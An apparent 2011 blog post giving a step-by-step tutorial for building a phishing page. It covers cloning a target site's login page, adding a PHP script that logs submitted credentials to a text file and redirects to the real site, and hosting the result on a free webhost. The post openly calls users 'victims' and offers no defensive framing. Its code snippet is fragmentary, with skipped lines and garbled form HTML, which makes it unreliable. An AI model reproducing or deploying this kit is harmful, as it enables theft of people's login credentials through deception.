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Posted by VdoCity Saturday, March 19, 2011

Select a target website and navigate to their login page.
Save the whole page by going to File->Save Page As.. (I’m doing this in Firefox and so should you.)
You will now have an HTML file and a folder full of images and maybe some JavaScript files. Rename the HTML file to index.html and create another file called list.txt. This text file will hold the login credentials of the victims.
Create a PHP file and name it “phish.php”.
Paste the following code into the previously made PHP file. This code is what takes the login details and stores it in the file “list.txt” and then redirects to the real website. This way the user will think he put in the wrong login information and will succeed the second time since it is now the real website.
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04.$handle = fopen("list.txt", "a");
06.foreach($_GET as $variable => $value) {
08.fwrite($handle, $variable);
09.fwrite($handle, "=");
10.fwrite($handle, $value);
11.fwrite($handle, "\r\n");
12.}fwrite($handle, "\r\n");
6. Now we must point the login form in the HTML file to the PHP file. Locate the form code in the HTMl file and change the action link to the PHP file and the method type to GET so that the submitted information is passed through the URL. The HTML code should start with something like this: <*form action* ="””" method="”GET”"*>

7. Once everything is complete, upload the files to a free webhost that supports PHP.
8. That’s it! You’ve just created a phishing page.

UPDATE: If you are using WAMP to test this script, make sure that when you are pointing the index page to the phish page you point it to localhost://folder-its-in/phish.php so that the php file actually gets parsed.


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